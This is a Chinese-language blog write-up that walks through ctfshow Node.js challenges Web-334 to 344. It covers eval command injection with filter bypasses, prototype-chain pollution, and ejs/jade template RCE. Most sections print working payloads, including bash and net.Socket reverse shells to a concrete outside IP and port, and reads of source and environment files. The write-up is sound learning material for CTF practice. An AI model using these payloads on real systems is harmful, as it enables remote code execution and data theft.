Z1d10tのBlog

A note for myself,have fun!

  1. 1. 前言
  2. 2. Web-334(大小写)
  3. 3. Web-335(eval)
  4. 4. Web-336
    1. 4.1. 解法一:
    2. 4.2. 解法二:
    3. 4.3. 解法三:
  5. 5. Web-337(数组绕过)
  6. 6. Web-338(经典原型链污染)
  7. 7. Web-339 (api)
  8. 8. Web-340(二次污染)
  9. 9. Web-341(ejs模板)
  10. 10. Web-342、343(jade模板)
  11. 11. Web-344(nodejs 解析特性)

nodejs刷题

前言

因为打一次比赛做到了这个nodejs原型链污染,是一点头绪都没有,就来恶补一下,keep on!

Web-334(大小写)

代码审计

给了账号和密码 账号是大写的CTFSHOW,但是输入的账号不能为大写,有个小写转大写的操作,输入ctfshow即可

1
2
3
4
  return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

Web-335(eval)

eval()用法和php差不多 都是将字符串当作代码执行

这里nodejs执行命令类似于python 要调库 比如 python就要调包含目录执行的库,比如os,在nodejs里也是一样 不过这里都是通过require('模块')来调(不严谨 但是可以这么理解)

payload:/?eval=require('child_process').execSync('ls')

可以参考nodejs中文网https://nodejs.cn/api/child_process.html#child-process

但是其他命令执行函数比如exec()返回都是[object Object]

在这里只能用execSync

Web-336

解法一:

设置了waf

读当前文件路径

1
?eval=__filename

img

1
?eval=require('fs').readFileSync('/app/routes/index.js', 'utf-8')

这里fs模块负责读写文件

读当前文件

img

过滤了exec load

通过字符拼接绕过:?eval=require('child_process')['exe'%2B'cSync']('ls')

%2B+的url编码

解法二:

用fs模块读当前路径文件

1
?eval=require('fs').readdirSync('.')

img

直接读就行了

1
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

这里读路径和文件命令稍有不同 不过很好记

解法三:

1
?eval=require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cmd')

利用编码绕过

Web-337(数组绕过)

给了源码 类似于php的md5思路

1
?a[]=1&b[]=1

可以看师傅的总结 tql:https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/

Web-336的编码绕过就是看了这个师傅的

Web-338(经典原型链污染)

给了源码

img

当secert对象的ctfshow属性为题目所需值就给flag

那么就通过原型链污染Object的ctfshow属性 从而使得secert对象为所需值

可利用点为这个copy函数

img

跟踪一下

img

发现了原型链污染的经典语句

img

当时做这道题题目时候有个疑问就是为什么post传输的数据是在哪里接受到的,因为是零基础js,还在慢慢摸索,又去审了一次代码

img

1
2
3
router.post('/', require('body-parser').json(),function(req, res, next) {

}

整个语句都是router{}囊括起来的,并且是通过post传参,而且还加载了require('body-parser')中间键。

body-parser是非常常用的一个express中间件,作用是对post请求的请求体进行解析 。

除此之外为什么要用json格式传输,p神博客中也提及了,如果不用json文件发送那么__proto__就会被当作原型执行,导致污染失败,只有通过json格式提交,才会被当作key来执行,这样才能达到原型链污染的效果。

关于nodejs请求 可以参考这篇文章比较符合我这种新手:https://www.cnblogs.com/Diamond-sjh/p/11324138.html

Web-339 (api)

这道题目多了一个/api路由 并且看到了render 多了一个模板渲染

img

发现Function 这里借用p神的理解

img

这里query没有被定义,就会在Object对象中寻找这个属性,那么我们就向上污染Object添加一个query属性就行了 。

这里提供三种payload:

payload1:

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"}}

outputFunctionName是ejs引擎的一个属性 可以参考:https://blog.csdn.net/DARKNOTES/article/details/124000520

payload2:

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}

没有require,所以就用 global.process.mainModule.constructor._load来导入 child_process

payload3:

1
{"__proto__":{"query":"var net = process.mainModule.constructor._load('net'),cp = process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(port,'ip', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;"}}

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

然后flag藏在环境变量里 一开始被这个坑到了

Web-340(二次污染)

img

这里user为一个对象 他的属性userinfo也是一个对象

那么如果我们想通过copy函数通过user.userinfo污染到Object.prototype

即则user.userinfo->user(第一次污染)->Object(第二次污染)需要污染两次

路由/api的思路和上一题一样 则可以用上题的payload,嵌套一个__proto__即可

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.221.177.174/7777 0>&1\"')"}}}

Web-341(ejs模板)

没了/api路由

也没有了条件输出flag

看了wp是ejs的模板引擎的原型链污染rce

img

那么既然没有条件Function函数让我们执行命令,也没有输出flag,该怎么弄呢

整体分析可参考:https://www.anquanke.com/post/id/236354#h2-2

大致思路为:通过原型链污染 去覆盖这个模板渲染时的拼接代码,让其拼接进ejs模板代码种,从而渲染时进行RCE

1
payload:{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.221.177.174/7777 0>&1\"');var __tmp2"}}}

Web-342、343(jade模板)

审计源码,发现换了模板引擎

img

思路与上面ejs模板相同 直接看师傅们的payload即可

  1. {"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.221.177.###/7777 0>&1\"')"}}}
  2. {"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.221.###.174/7777 0>&1\"')"}}}
  3. {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \" bash -i >&/dev/tcp/124.221.177.###/7777 0>&1\"')"}}}

注意这里有两个大坑 坑死我了

首先提交要post burp默认get

最坑的是Content-Type要改为 application/json玛德当时这里一直是默认的 一直没改 导致一直反弹失败

img

然后再来说说找flag的方法

直接cat /proc/self/environ去找

或者env|grep ctfshow 其实就是管道符把env的输出的内容当作grep(查找字符)的参数

其实本质上这两者是等价的 都是在环境变量种寻找flag

img

Web-344(nodejs 解析特性)

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

根据源码我们应该传

1
?query={"name":"admin","password":"ctfshow","isVIP":"true)"}

req.url.match(/8c|2c|\,/ig)但是正则过滤了空字符 逗号以及其url编码

看了大佬的wp 应该这样传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true} url编码之后传上去

nodejs中会把这三部分拼接起来

被传入之后req.query被解析成了一个数组,之后在JSON.parse的解析下变成了对象,就变成了我们想要的结果了。

本文最后更新于 天前,文中所描述的信息可能已发生改变